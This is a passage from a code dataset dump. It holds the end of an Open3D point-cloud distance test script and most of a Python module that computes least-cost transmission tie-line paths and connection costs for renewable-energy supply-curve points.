o3d.io.read_triangle_mesh(r\"D:\\PROJECTS\\graduate_design_project\\test\\1ba533f6962ee7c1ac51268fdb437a9e.obj\")\n# print(obj)\n# o3d.io.write_point_cloud(\"constructed.pcd\", ply)\nobj_pcd = obj.sample_points_uniformly(number_of_points=6363)\n# o3d.io.write_point_cloud(\"origin.pcd\", obj_pcd)\n\n# print(ply)\n# o3d.visualization.draw_geometries([obj_pcd])\nres1 = ply.compute_point_cloud_distance(obj_pcd)\nres2 = obj_pcd.compute_point_cloud_distance(ply)\nprint('res1 with len {}:{}'.format(len(res1), res1[:10]))\nprint('res2 with len {}:{}'.format(len(res2), res2[:10]))\n","sub_path":"libs/grader/test_open3d.py","file_name":"test_open3d.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"130696934","text":"# -*- coding: utf-8 -*-\n\"\"\"\nModule to compute least cost transmission paths, distances, and costs\nfor a clipped area.\n\"\"\"\nimport geopandas as gpd\nimport logging\nimport numpy as np\nimport pandas as pd\nimport rasterio\nfrom shapely.geometry import Polygon, Point\nfrom shapely.geometry.linestring import LineString\nfrom shapely.ops import nearest_points\nfrom skimage.graph import MCP_Geometric\nimport time\nfrom warnings import warn\n\nfrom reV.handlers.exclusions import ExclusionLayers\n\nfrom reVX.least_cost_xmission.config import (XmissionConfig, TRANS_LINE_CAT,\n SINK_CAT, SUBSTATION_CAT,\n LOAD_CENTER_CAT)\nfrom reVX.utilities.exceptions import (InvalidMCPStartValueError,\n LeastCostPathNotFoundError)\n\nlogger = logging.getLogger(__name__)\n\n\nclass TieLineCosts:\n \"\"\"\n Compute Least Cost Tie-line cost from start location to desired end\n locations\n \"\"\"\n def __init__(self, cost_fpath, start_indices, capacity_class, row_slice,\n col_slice, xmission_config=None, barrier_mult=100):\n \"\"\"\n Parameters\n ----------\n cost_fpath : str\n Full path to HDF5 file containing cost arrays. The cost data\n layers should be named ``\"tie_line_costs_{capacity}MW\"``,\n where ``capacity`` is an integer value representing the\n capacity of the line (the integer values must matches at\n least one of the integer capacity values represented by the\n keys in the ``power_classes`` portion of the transmission\n config).\n start_indices : tuple\n Tuple of (row_idx, col_idx) in the **clipped** cost array\n (see `row_slice` and `col_slice` definitions below)\n indicating the start position of all paths to compute\n (typically, this is the centroid of the supply curve cell).\n Paths will be computed from this start location to each of\n the ``end_indices``, which are also locations in the cost\n array (typically transmission feature locations).\n capacity_class : : int | str\n Integer value representing the transmission feature\n capacity. The integer values must matches at least one of\n the integer capacity values represented by the keys in the\n ``power_classes`` portion of the transmission config.\n row_slice, col_slice : slice\n Slices into the cost raster array used to clip the area that\n should be considered when computing a least cost path. This\n can be used to limit the consideration space and speed up\n computation. Note that the start and end indices must\n be given w.r.t. the cost raster that is \"clipped\" using\n these slices.\n xmission_config : str | dict | XmissionConfig, optional\n Path to transmission config JSON files, dictionary of\n transmission config JSONs, or preloaded XmissionConfig\n objects. If ``None``, the default config is used.\n By default, ``None``.\n barrier_mult : int, optional\n Multiplier applied to the cost data to create transmission\n barrier costs. By default, ``100``.\n \"\"\"\n self._cost_fpath = cost_fpath\n self._config = self._parse_config(xmission_config=xmission_config)\n self._start_indices = start_indices\n self._row_slice = row_slice\n self._col_slice = col_slice\n self._capacity_class = self._config._parse_cap_class(capacity_class)\n\n self._line_cap_mw = self._config['power_classes'][self.capacity_class]\n cost_layer = 'tie_line_costs_{}MW'.format(self._line_cap_mw)\n self._cost, self._mcp_cost = self._clip_costs(\n cost_fpath, cost_layer, row_slice, col_slice,\n barrier_mult=barrier_mult)\n\n self._mcp = None\n self._clip_shape = None\n\n with ExclusionLayers(self._cost_fpath) as f:\n self.transform = rasterio.Affine(*f.profile['transform'])\n self._full_shape = f.shape\n\n def __repr__(self):\n msg = \"{} starting at {}\".format(self.__class__.__name__,\n self._start_indices)\n\n return msg\n\n @property\n def row_offset(self):\n \"\"\"\n Offset to apply to row indices to move into clipped array\n\n Returns\n -------\n int\n \"\"\"\n offset = self._row_slice.start\n if offset is None:\n offset = 0\n\n return offset\n\n @property\n def col_offset(self):\n \"\"\"\n Offset to apply to column indices to move into clipped array\n\n Returns\n -------\n int\n \"\"\"\n offset = self._col_slice.start\n if offset is None:\n offset = 0\n\n return offset\n\n @property\n def row(self):\n \"\"\"\n Row index inside clipped array\n\n Returns\n -------\n int\n \"\"\"\n return self._start_indices[0]\n\n @property\n def col(self):\n \"\"\"\n Column index inside clipped array\n\n Returns\n -------\n int\n \"\"\"\n return self._start_indices[1]\n\n @property\n def cost(self):\n \"\"\"\n Tie line costs array\n\n Returns\n -------\n ndarray\n \"\"\"\n return self._cost\n\n @property\n def mcp_cost(self):\n \"\"\"\n Tie line costs array with barrier costs applied for MCP analysis\n\n Returns\n -------\n ndarray\n \"\"\"\n return self._mcp_cost\n\n @property\n def mcp(self):\n \"\"\"\n MCP_Geometric instance initialized on mcp_cost array with\n starting point at sc_point\n\n Returns\n -------\n MCP_Geometric\n \"\"\"\n if self._mcp is None:\n check = self.mcp_cost[self.row, self.col]\n if check < 0:\n msg = (\"Start idx {} does not have a valid cost!\"\n .format((self.row, self.col)))\n raise InvalidMCPStartValueError(msg)\n\n logger.debug('Building MCP instance for size {}'\n .format(self.mcp_cost.shape))\n self._mcp = MCP_Geometric(self.mcp_cost)\n self._mcp.find_costs(starts=[(self.row, self.col)])\n\n return self._mcp\n\n @property\n def capacity_class(self):\n \"\"\"\n SC point capacity class\n\n Returns\n -------\n str\n \"\"\"\n return self._capacity_class\n\n @property\n def clip_shape(self):\n \"\"\"\n Shaped of clipped cost raster\n\n Returns\n -------\n tuple\n \"\"\"\n if self._clip_shape is None:\n if self._row_slice == slice(None):\n row_shape = self._full_shape[0]\n else:\n row_max = (self._row_slice.stop if self._row_slice.stop\n else self._full_shape[0])\n row_min = (self._row_slice.start if self._row_slice.start\n else 0)\n row_shape = row_max - row_min\n\n if self._col_slice == slice(None):\n col_shape = self._full_shape[1]\n else:\n col_max = (self._col_slice.stop if self._col_slice.stop\n else self._full_shape[1])\n col_min = (self._col_slice.start if self._col_slice.start\n else 0)\n col_shape = col_max - col_min\n\n self._clip_shape = (row_shape, col_shape)\n\n return self._clip_shape\n\n @staticmethod\n def _parse_config(xmission_config=None):\n \"\"\"\n Load Xmission config if needed\n\n Parameters\n ----------\n config : str | dict | XmissionConfig, optional\n Path to Xmission config .json, dictionary of Xmission config\n .jsons, or preloaded XmissionConfig objects, by default None\n\n Returns\n -------\n XmissionConfig\n \"\"\"\n if not isinstance(xmission_config, XmissionConfig):\n xmission_config = XmissionConfig(config=xmission_config)\n\n return xmission_config\n\n @staticmethod\n def _clip_costs(cost_fpath, cost_layer, row_slice, col_slice,\n barrier_mult=100):\n \"\"\"\n Extract clipped cost arrays from exclusion .h5 files\n\n Parameters\n ----------\n cost_fpath : str\n Full path of .h5 file with cost arrays\n cost_layer : str\n Name of cost layer to extract\n row_slice : slice\n slice along axis 0 (rows) to clip costs too\n col_slice : slice\n slice along axis 1 (columns) to clip costs too\n barrier_mult : int, optional\n Multiplier on transmission barrier costs, by default 100\n\n Returns\n -------\n cost : ndarray\n 2d clipped array of raw tie-line costs\n mcp_cost : ndarray\n 2d clipped array of mcp cost = cost * barrier * barrier_mult\n \"\"\"\n with ExclusionLayers(cost_fpath) as f:\n cost = f[cost_layer, row_slice, col_slice]\n barrier = f['transmission_barrier', row_slice, col_slice]\n mcp_cost = cost + cost * barrier * barrier_mult\n mcp_cost = np.where(mcp_cost < 0, -1, mcp_cost)\n\n return cost, mcp_cost\n\n @staticmethod\n def _compute_path_length(indices):\n \"\"\"\n Compute the total length and cell by cell length of the lease\n cost path defined by 'indices'\n\n Parameters\n ----------\n indices : ndarray\n n x 2 array of MCP traceback of least cost path\n\n Returns\n -------\n length : float\n Total length of path in km\n lens : ndarray\n Vector of the distance of the least cost path across each\n cell\n \"\"\"\n # Use Pythagorean theorem to calculate lengths between cells (km)\n # Use c**2 = a**2 + b**2 to determine length of individual paths\n lens = np.sqrt(np.sum(np.diff(indices, axis=0)**2, axis=1))\n length = np.sum(lens) * 90 / 1000\n\n # Need to determine distance coming into and out of any cell. Assume\n # paths start and end at the center of a cell. Therefore, distance\n # traveled in the cell is half the distance entering it and half the\n # distance exiting it. Duplicate all lengths, pad 0s on ends for start\n # and end cells, and divide all distance by half.\n lens = np.repeat(lens, 2)\n lens = np.insert(np.append(lens, 0), 0, 0)\n lens = lens / 2\n\n # Group entrance and exits distance together, and add them\n lens = lens.reshape((int(lens.shape[0] / 2), 2))\n lens = np.sum(lens, axis=1)\n\n return length, lens\n\n def least_cost_path(self, end_idx, save_path=False):\n \"\"\"\n Find least cost path, its length, and its total (un-barriered)\n cost\n\n Parameters\n ----------\n end_idx : Tuple[int, int]\n (row, col) index of end point to connect and compute least\n cost path to.\n save_path : bool\n Flag to save least cost path as a multi-line geometry.\n By default, ``False``.\n\n Returns\n -------\n length : float\n Length of path (km).\n cost : float\n Cost of path including terrain and land use multipliers, but\n not barrier costs.\n poi_lat, poi_lon : numpy.float64\n Latitude and longitude of the `end_idx` of the least cost\n path (i.e. the POI/transmission feature that was connected\n to).\n path : shapely.geometry.linestring, optional\n Path as a LineString, if `save_path` was set to ``True``.\n \"\"\"\n row, col = end_idx\n\n check = (row < 0 or col < 0 or row >= self.clip_shape[0]\n or col >= self.clip_shape[1])\n if check:\n msg = ('End point ({}, {}) is out side of clipped cost raster '\n 'with shape {}'.format(row, col, self.clip_shape))\n logger.exception(msg)\n raise ValueError(msg)\n\n check = self.mcp_cost[row, col]\n if check < 0:\n msg = (\"End idx {} does not have a valid cost!\"\n .format(end_idx))\n raise LeastCostPathNotFoundError(msg)\n\n try:\n indices = np.array(self.mcp.traceback((row, col)))\n except ValueError as ex:\n msg = ('Unable to find path from start {} to {}: {}'\n .format((self.row, self.col), end_idx, ex))\n raise LeastCostPathNotFoundError(msg) from ex\n\n # Extract costs of cells\n # pylint: disable=unsubscriptable-object\n cell_costs = self.cost[indices[:, 0], indices[:, 1]]\n\n length, lens = self._compute_path_length(indices)\n\n # Multiple distance travel through cell by cost and sum it!\n cost = np.sum(cell_costs * lens)\n\n with ExclusionLayers(self._cost_fpath) as f:\n poi_lat = f['latitude', self._row_slice, self._col_slice][row, col]\n poi_lon = (\n f['longitude', self._row_slice, self._col_slice][row, col])\n\n if save_path:\n row = indices[:, 0] + self.row_offset\n col = indices[:, 1] + self.col_offset\n x, y = rasterio.transform.xy(self.transform, row, col)\n geom = Point if indices.shape[0] == 1 else LineString\n out = length, cost, poi_lat, poi_lon, geom(list(zip(x, y)))\n else:\n out = length, cost, poi_lat, poi_lon\n\n return out\n\n def compute(self, end_indices, save_paths=False):\n \"\"\"\n Compute least cost paths to given end indices\n\n Parameters\n ----------\n end_indices : tuple | list\n (row, col) index or list of (row, col) indices of end\n point(s) to connect and compute least cost path to\n save_paths : bool, optional\n Flag to save least cost path as a multi-line geometry,\n by default False\n\n Returns\n -------\n tie_lines : pandas.DataFrame | gpd.GeoDataFrame\n DataFrame of lengths and costs for each path or GeoDataFrame\n of length, cost, and geometry for each path\n \"\"\"\n if isinstance(end_indices, tuple):\n end_indices = [end_indices]\n\n lengths = []\n costs = []\n paths = []\n poi_lats = []\n poi_lons = []\n for end_idx in end_indices:\n out = self.least_cost_path(end_idx, save_path=save_paths)\n lengths.append(out[0])\n costs.append(out[1])\n poi_lats.append(out[2])\n poi_lons.append(out[3])\n if save_paths:\n paths.append(out[4])\n\n tie_lines = pd.DataFrame({'length_km': lengths, 'cost': costs,\n 'poi_lat': poi_lats, 'poi_lon': poi_lons})\n if save_paths:\n with ExclusionLayers(self._cost_fpath) as f:\n crs = f.crs\n\n tie_lines = gpd.GeoDataFrame(tie_lines, geometry=paths, crs=crs)\n\n return tie_lines\n\n @classmethod\n def run(cls, cost_fpath, start_indices, end_indices, capacity_class,\n row_slice, col_slice, xmission_config=None, barrier_mult=100,\n save_paths=False):\n \"\"\"\n Compute least cost tie-line path to all features to be connected\n a single supply curve point.\n\n Parameters\n ----------\n cost_fpath : str\n Full path to HDF5 file containing cost arrays. The cost data\n layers should be named ``\"tie_line_costs_{capacity}MW\"``,\n where ``capacity`` is an integer value representing the\n capacity of the line (the integer values must matches at\n least one of the integer capacity values represented by the\n keys in the ``power_classes`` portion of the transmission\n config).\n start_indices : tuple\n Tuple of (row_idx, col_idx) in the **clipped** cost array\n (see `row_slice` and `col_slice` definitions below)\n indicating the start position of all paths to compute\n (typically, this is the centroid of the supply curve cell).\n Paths will be computed from this start location to each of\n the ``end_indices``, which are also locations in the cost\n array (typically transmission feature locations).\n capacity_class : : int | str\n Integer value representing the transmission feature\n capacity. The integer values must matches at least one of\n the integer capacity values represented by the keys in the\n ``power_classes`` portion of the transmission config.\n row_slice, col_slice : slice\n Slices into the cost raster array used to clip the area that\n should be considered when computing a least cost path. This\n can be used to limit the consideration space and speed up\n computation. Note that the start and end indices must\n be given w.r.t. the cost raster that is \"clipped\" using\n these slices.\n xmission_config : str | dict | XmissionConfig, optional\n Path to transmission config JSON files, dictionary of\n transmission config JSONs, or preloaded XmissionConfig\n objects. If ``None``, the default config is used.\n By default, ``None``.\n barrier_mult : int, optional\n Multiplier applied to the cost data to create transmission\n barrier costs. By default, ``100``.\n save_paths : bool, optional\n Flag to save least cost path as a multi-line geometry.\n By default, ``False``.\n\n Returns\n -------\n tie_lines : pandas.DataFrame | gpd.GeoDataFrame\n DataFrame of lengths and costs for each path or GeoDataFrame\n of length, cost, and geometry for each path\n \"\"\"\n ts = time.time()\n tlc = cls(cost_fpath, start_indices, capacity_class, row_slice,\n col_slice, xmission_config=xmission_config,\n barrier_mult=barrier_mult)\n\n tie_lines = tlc.compute(end_indices, save_paths=save_paths)\n\n logger.debug('Least Cost tie-line computed in {:.4f} min'\n .format((time.time() - ts) / 60))\n\n return tie_lines\n\n\nclass TransCapCosts(TieLineCosts):\n \"\"\"\n Compute total transmission capital cost\n (least-cost tie-line cost + connection cost) for all features to be\n connected a single supply curve point\n \"\"\"\n\n def __init__(self, cost_fpath, sc_point, features, capacity_class,\n radius=None, xmission_config=None, barrier_mult=100):\n \"\"\"\n Parameters\n ----------\n cost_fpath : str\n Full path of .h5 file with cost arrays\n sc_point : gpd.GeoSeries\n Supply Curve Point meta data\n features : pandas.DataFrame\n Table of transmission features\n capacity_class : int | str\n Transmission feature capacity_class class\n radius : int, optional\n Radius around sc_point to clip cost to, by default None\n xmission_config : str | dict | XmissionConfig, optional\n Path to Xmission config .json, dictionary of Xmission config\n .jsons, or preloaded XmissionConfig objects, by default None\n barrier_mult : int, optional\n Multiplier on transmission barrier costs, by default 100\n \"\"\"\n self._sc_point = sc_point\n start_indices, row_slice, col_slice = self._get_clipping_slices(\n cost_fpath, sc_point[['row', 'col']].values, radius=radius)\n super().__init__(cost_fpath, start_indices, capacity_class, row_slice,\n col_slice, xmission_config=xmission_config,\n barrier_mult=barrier_mult)\n self._features = self._prep_features(features)\n self._clip_mask = None\n\n @property\n def sc_point(self):\n \"\"\"\n Supply curve point data:\n - gid\n - lat\n - lon\n - idx (row, col)\n\n Returns\n -------\n pandas.Series\n \"\"\"\n return self._sc_point\n\n @property\n def sc_point_gid(self):\n \"\"\"\n Supply curve point gid\n\n Returns\n -------\n int\n \"\"\"\n return self.sc_point['sc_point_gid']\n\n @property\n def features(self):\n \"\"\"\n Table of transmission features\n\n Returns\n -------\n pandas.DataFrame\n \"\"\"\n return self._features\n\n @property\n def clip_mask(self):\n \"\"\"\n Polygon used to clip transmission lines to the clipped raster\n bounds\n\n Returns\n -------\n shapely.Polygon\n \"\"\"\n if self._clip_mask is None:\n # pylint: disable=using-constant-test\n row_bounds = [self._row_slice.start\n if self._row_slice.start else 0,\n self._row_slice.stop - 1\n if self._row_slice.stop else self.clip_shape[0] - 1]\n col_bounds = [self._col_slice.start\n if self._col_slice.start else 0,\n self._col_slice.stop - 1\n if self._col_slice.stop else self.clip_shape[1] - 1]\n x, y = rasterio.transform.xy(self.transform, row_bounds,\n col_bounds)\n self._clip_mask = Polygon([[x[0], y[0]],\n [x[1], y[0]],\n [x[1], y[1]],\n [x[0], y[1]],\n [x[0], y[0]]])\n\n return self._clip_mask\n\n @property\n def tie_line_voltage(self):\n \"\"\"\n Tie line voltage in kV\n\n Returns\n -------\n int\n \"\"\"\n return self._config.capacity_to_kv(self.capacity_class)\n\n @staticmethod\n def _get_clipping_slices(cost_fpath, sc_point_idx, radius=None):\n \"\"\"\n Get array slices for clipped area around SC point (row, col)\n index\n\n Parameters\n ----------\n cost_fpath : str\n Full path of .h5 file with cost arrays\n row : int\n SC point row index\n col : int\n SC point column index\n radius : int, optional\n Radius around sc_point to clip cost to, by default None\n\n Returns\n -------\n start_indices : tuple\n Start index in clipped raster space\n row_slice : slice\n Row start, stop indices for clipped cost array\n col_slice : slice\n Column start, stop indices for clipped cost array\n \"\"\"\n with ExclusionLayers(cost_fpath) as f:\n shape = f.shape\n\n if radius is not None:\n row, col = sc_point_idx\n row_min = max(row - radius, 0)\n row_max = min(row + radius, shape[0])\n col_min = max(col - radius, 0)\n col_max = min(col + radius, shape[1])\n\n start_indices = (row - row_min, col - col_min)\n else:\n start_indices = sc_point_idx\n row_min, row_max = None, None\n col_min, col_max = None, None\n\n row_slice = slice(row_min, row_max)\n col_slice = slice(col_min, col_max)\n\n return start_indices, row_slice, col_slice\n\n @staticmethod\n def _calc_xformer_cost(features, tie_line_voltage, config=None):\n \"\"\"\n Compute transformer costs in $/MW for needed features, all\n others will be 0\n\n Parameters\n ----------\n features : pd.DataFrame\n Table of transmission features to compute transformer costs\n for\n tie_line_voltage : int\n Tie-line voltage in kV\n config : str | dict | XmissionConfig\n Transmission configuration\n\n Returns\n -------\n xformer_costs : ndarray\n vector of $/MW transformer costs\n \"\"\"\n if not isinstance(config, XmissionConfig):\n config = XmissionConfig(config=config)\n\n mask = features['category'] == SUBSTATION_CAT\n mask &= features['max_volts'] < tie_line_voltage\n if np.any(mask):\n msg = ('Voltages for substations {} do not exceed tie-line '\n 'voltage of {}'\n .format(features.loc[mask, 'trans_gid'].values,\n tie_line_voltage))\n logger.error(msg)\n raise RuntimeError(msg)\n\n xformer_costs = np.zeros(len(features))\n for volts, df in features.groupby('min_volts'):\n idx = df.index.values\n xformer_costs[idx] = config.xformer_cost(volts, tie_line_voltage)\n\n mask = features['category'] == TRANS_LINE_CAT\n mask &= features['max_volts'] < tie_line_voltage\n xformer_costs[mask] = 0\n\n mask = features['min_volts'] <= tie_line_voltage\n xformer_costs[mask] = 0\n\n mask = features['region'] == config['iso_lookup']['TEPPC']\n xformer_costs[mask] = 0\n\n return xformer_costs\n\n @staticmethod\n def _calc_sub_upgrade_cost(features, tie_line_voltage, config=None):\n \"\"\"\n Compute substation upgrade costs for needed features, all others\n will be 0\n\n Parameters\n ----------\n features : pd.DataFrame\n Table of transmission features to compute transformer costs\n for\n tie_line_voltage : int\n Tie-line voltage in kV\n config : str | dict | XmissionConfig\n Transmission configuration\n\n Returns\n -------\n sub_upgrade_costs : ndarray\n Substation upgrade costs in $\n \"\"\"\n if not isinstance(config, XmissionConfig):\n config = XmissionConfig(config=config)\n\n sub_upgrade_cost = np.zeros(len(features))\n if np.any(features['region'] == 0):\n mask = features['region'] == 0\n msg = ('Features {} have an invalid region! Region must != 0!'\n .format(features.loc[mask, 'trans_gid'].values))\n logger.error(msg)\n raise RuntimeError(msg)\n\n mask = features['category'].isin([SUBSTATION_CAT, LOAD_CENTER_CAT])\n if np.any(mask):\n for region, df in features.loc[mask].groupby('region'):\n idx = df.index.values\n sub_upgrade_cost[idx] = config.sub_upgrade_cost(\n region, tie_line_voltage)\n\n return sub_upgrade_cost\n\n @staticmethod\n def _calc_new_sub_cost(features, tie_line_voltage, config=None):\n \"\"\"\n Compute new substation costs for needed features, all others\n will be 0\n\n Parameters\n ----------\n features : pd.DataFrame\n Table of transmission features to compute transformer costs\n for\n tie_line_voltage : int\n Tie-line voltage in kV\n config : str | dict | XmissionConfig\n Transmission configuration\n\n Returns\n -------\n new_sub_cost : ndarray\n new substation costs in $\n \"\"\"\n if not isinstance(config, XmissionConfig):\n config = XmissionConfig(config=config)\n\n new_sub_cost = np.zeros(len(features))\n if np.any(features['region'] == 0):\n mask = features['region'] == 0\n msg = ('Features {} have an invalid region! Region must != 0!'\n .format(features.loc[mask, 'trans_gid'].values))\n logger.error(msg)\n raise RuntimeError(msg)\n\n mask = features['category'] == TRANS_LINE_CAT\n if np.any(mask):\n for region, df in features.loc[mask].groupby('region'):\n idx = df.index.values\n new_sub_cost[idx] = config.new_sub_cost(\n region, tie_line_voltage)\n\n return new_sub_cost\n\n def _prep_features(self, features):\n \"\"\"\n Shift feature row and col indices of transmission features from\n the global domain to the clipped raster, clip transmission lines\n to clipped array and find nearest point\n\n Parameters\n ----------\n features : pandas.DataFrame\n Table of transmission features\n clip_lines : bool, optional\n Flag to clip transmission lines to clipped raster bounds,\n set to false when clipping radius is None,\n by default True\n\n Returns\n -------\n features : pandas.DataFrame\n Transmission features with row/col indices shifted to\n clipped raster\n \"\"\"\n mapping = {'gid': 'trans_gid', 'trans_gids': 'trans_line_gids'}\n features = features.rename(columns=mapping).drop(columns='dist',\n errors='ignore')\n\n if self.row_offset is not None:\n features['row'] -= self.row_offset\n\n if self.col_offset is not None:\n features['col'] -= self.col_offset\n\n return features.reset_index(drop=True)\n\n def _get_trans_line_idx(self, trans_line, clip=False):\n \"\"\"\n Map the nearest point on each transmission lines to the cost\n raster\n\n Parameters\n ----------\n trans_lines : GeoPandas.GeoSeries\n Transmission lines to be connected to each supply curve\n point, the nearest point on each line needs to be mapped to\n the cost raster grid in order to compute the least cost path\n clip : bool\n Flag to clip the transmission lines to the cost raster\n domain\n\n Returns\n -------\n [row, col] : list\n Row, col index of the nearest point on the transmission line\n to the supply curve point, used for least cost path\n \"\"\"\n if clip:\n logger.debug(\"Clipping transmission line {} to raster domain\"\n .format(trans_line['trans_gid']))\n clipped_trans_line = {'geometry': trans_line['geometry']}\n clipped_trans_line = gpd.clip(gpd.GeoSeries(clipped_trans_line),\n self.clip_mask)\n if len(clipped_trans_line) == len(trans_line):\n trans_line = clipped_trans_line\n\n point, _ = nearest_points(trans_line['geometry'],\n self.sc_point['geometry'])\n row, col = rasterio.transform.rowcol(self.transform, point.x, point.y)\n\n row -= self.row_offset\n col -= self.col_offset\n if not clip:\n clip = (row < 0 or row >= self.clip_shape[0]\n or col < 0 or col >= self.clip_shape[1])\n if clip:\n row, col = self._get_trans_line_idx(trans_line, clip=clip)\n else:\n row = min(max(row, 0), self.clip_shape[0] - 1)\n col = min(max(col, 0), self.clip_shape[1] - 1)\n\n return [row, col]\n\n def compute_tie_line_costs(self, min_line_length=5.7, # noqa: C901\n save_paths=False):\n \"\"\"\n Compute least cost path and distance between supply curve point\n and every transmission feature\n\n Parameters\n ----------\n min_line_length : float, optional\n Minimum line length in km, by default 5.7\n save_paths : bool, optional\n Flag to save least cost path as a multi-line geometry,\n by default False\n\n Returns\n -------\n tie_line_costs : gpd.GeoDataFrame\n Updated table of transmission features with the tie-line\n cost and distance added\n \"\"\"\n tie_voltage = self.tie_line_voltage\n features = self.features.copy()\n features['raw_line_cost'] = None\n features['dist_km'] = None\n if save_paths:\n paths = []\n\n logger.debug('Determining path lengths and costs')\n\n for index, feat in features.iterrows():\n if feat['category'] == TRANS_LINE_CAT:\n t_line = True\n feat_idx = self._get_trans_line_idx(feat)\n else:\n t_line = False\n feat_idx = feat[['row', 'col']].values\n\n try:\n # pylint: disable=unbalanced-tuple-unpacking\n result = self.least_cost_path(feat_idx, save_path=save_paths)\n if save_paths:\n (length, cost, poi_lat, poi_lon, path) = result\n else:\n (length, cost, poi_lat, poi_lon) = result\n\n if t_line and feat['max_volts'] < tie_voltage:\n msg = ('Tie-line {} voltage of {}kV is less than tie line '\n 'voltage of {}kV.'\n .format(feat['trans_gid'], feat['max_volts'],\n tie_voltage))\n logger.debug(msg)\n\n cost = 1e12\n\n if length < min_line_length:\n msg = ('Tie-line length {} will be increased to the '\n 'minimum allowed line length: {}.'\n .format(length, min_line_length))\n logger.debug(msg)\n\n min_mult = (1 if np.isclose(length, 0)\n else min_line_length / length)\n cost = cost * min_mult\n length = min_line_length\n\n features.loc[index, 'dist_km'] = length\n features.loc[index, 'raw_line_cost'] = cost\n features.loc[index, 'poi_lat'] = poi_lat\n features.loc[index, 'poi_lon'] = poi_lon\n if save_paths:\n paths.append(path)\n\n except LeastCostPathNotFoundError as ex:\n msg = (\"Could not connect SC point {} to transmission feature \"\n \"{}: {}\"\n .format(self.sc_point_gid, feat['trans_gid'], ex))\n logger.debug(msg)\n if t_line:\n features.loc[index, 'raw_line_cost'] = 1e12\n if save_paths:\n paths.append(self._sc_point.geometry)\n except InvalidMCPStartValueError:\n raise\n except Exception:\n logger.exception('Could not connect SC point {} to '\n 'transmission features!'\n .format(self.sc_point_gid))\n raise\n\n if save_paths:\n with ExclusionLayers(self._cost_fpath) as el:\n crs = el.crs\n features = gpd.GeoDataFrame(features, geometry=paths, crs=crs)\n\n return features\n\n def compute_connection_costs(self, features=None):\n \"\"\"\n Calculate connection costs for tie lines\n\n Returns\n -------\n features : pd.DataFrame\n Updated table of transmission features with the connection\n costs added\n \"\"\"\n if features is None:\n features = self.features.copy()\n\n features = features.reset_index(drop=True)\n\n # Length multiplier\n features['length_mult'] = 1.0\n # Short cutoff\n mask = features['dist_km'] < 3 * 5280 / 3.28084 / 1000\n features.loc[mask, 'length_mult'] = 1.5\n # Medium cutoff\n mask = features['dist_km'] <= 10 * 5280 / 3.28084 / 1000\n features.loc[mask, 'length_mult'] = 1.2\n\n features['tie_line_cost'] = (features['raw_line_cost']\n * features['length_mult'])\n\n # Transformer costs\n features['xformer_cost_per_mw'] = self._calc_xformer_cost(\n features, self.tie_line_voltage, config=self._config)\n capacity = int(self.capacity_class.strip('MW'))\n features['xformer_cost'] = (features['xformer_cost_per_mw']\n * capacity)\n\n # Substation costs\n features['sub_upgrade_cost'] = self._calc_sub_upgrade_cost(\n features, self.tie_line_voltage, config=self._config)\n features['new_sub_cost'] = self._calc_new_sub_cost(\n features, self.tie_line_voltage, config=self._config)\n\n # Sink costs\n mask = features['category'] == SINK_CAT\n features.loc[mask, 'new_sub_cost'] = 1e11\n\n # Total cost\n features['connection_cost'] = (features['xformer_cost']\n + features['sub_upgrade_cost']\n + features['new_sub_cost'])\n\n return features\n\n def compute(self, min_line_length=5.7, save_paths=False,\n simplify_geo=None):\n \"\"\"\n Compute Transmission capital cost of connecting SC point to\n transmission features.\n trans_cap_cost = tie_line_cost + connection_cost\n\n Parameters\n ----------\n min_line_length : float, optional\n Minimum line length in km, by default 5.7\n save_paths : bool, optional\n Flag to save least cost path as a multi-line geometry,\n by default False\n simplify_geo : float | None, optional\n If float, simplify geometries using this value\n\n Returns\n -------\n features : pd.DataFrame | gpd.GeoDataFrame\n Transmission table with tie-line costs and distances and\n connection costs added. Includes paths if\n ``save_paths == True``\n \"\"\"\n features = self.compute_tie_line_costs(min_line_length=min_line_length,\n save_paths=save_paths)\n\n mask = features['raw_line_cost'].isna()\n if mask.any():\n msg = (\"The following features could not be connected to SC point \"\n \"{}:\\n{}\".format(self.sc_point_gid,\n features.loc[mask, 'trans_gid']))\n logger.warning(msg)\n warn(msg)\n features = features.loc[~mask]\n\n features = self.compute_connection_costs(features=features)\n\n features['trans_cap_cost'] = (features['tie_line_cost']\n + features['connection_cost'])\n drop_cols = ['row', 'col']\n if not save_paths:\n drop_cols.append('geometry')\n features = features.drop(columns=drop_cols,\n errors='ignore').reset_index(drop=True)\n\n features['sc_row_ind'] = self.sc_point['sc_row_ind']\n features['sc_col_ind'] = self.sc_point['sc_col_ind']\n features['sc_point_gid'] = self.sc_point_gid\n\n if save_paths and simplify_geo:\n features.geometry = features.geometry.simplify(simplify_geo)\n\n return features\n\n @classmethod\n def run(cls, cost_fpath, sc_point, features, capacity_class, radius=None,\n xmission_config=None, barrier_mult=100, min_line_length=5.7,\n save_paths=False, simplify_geo=None):\n \"\"\"\n Compute Transmission capital cost of connecting SC point to\n transmission features.\n trans_cap_cost = tie_line_cost + connection_cost\n\n Parameters\n ----------\n cost_fpath : str\n Full path of .h5 file with cost arrays\n sc_point : gpd.GeoSeries\n Supply Curve Point meta data\n features : pandas.DataFrame\n Table of transmission features\n capacity_class : int | str\n Transmission feature capacity_class class\n radius : int, optional\n Radius around sc_point to clip cost to, by default None\n xmission_config : str | dict | XmissionConfig, optional\n Path to Xmission config .json, dictionary of Xmission config\n .jsons, or preloaded XmissionConfig objects, by default None\n barrier_mult : int, optional\n Multiplier on transmission barrier costs, by default 100\n min_line_length : float, optional\n Minimum line length in km, by default 5.7\n save_paths : bool, optional\n Flag to save least cost path as a multi-line geometry,\n by default False\n simplify_geo : float | None, optional\n If float, simplify geometries using this value\n\n Returns\n -------\n features : pd.DataFrame | gpd.GeoDataFrame | None\n Transmission table with tie-line costs and distances and\n connection costs added. Will include paths if\n ``save_paths == True``\n \"\"\"\n ts = time.time()\n logger.debug('Processing sc_point {}, {}, save_paths={}'\n .format(sc_point.sc_point_gid, sc_point.geometry,\n save_paths))\n\n try:\n tcc = cls(cost_fpath, sc_point, features, capacity_class,\n radius=radius, xmission_config=xmission_config,\n barrier_mult=barrier_mult)\n\n features = tcc.compute(min_line_length=min_line_length,\n save_paths=save_paths,\n simplify_geo=simplify_geo)\n logger.debug('Least Cost transmission costs computed for '\n 'SC point {} in {:.4f}s'\n .format(tcc.sc_point_gid, time.time() - ts))\n except InvalidMCPStartValueError as ex:\n features = None\n msg = ('Could not connect SC point {} to transmission features: {}'\n 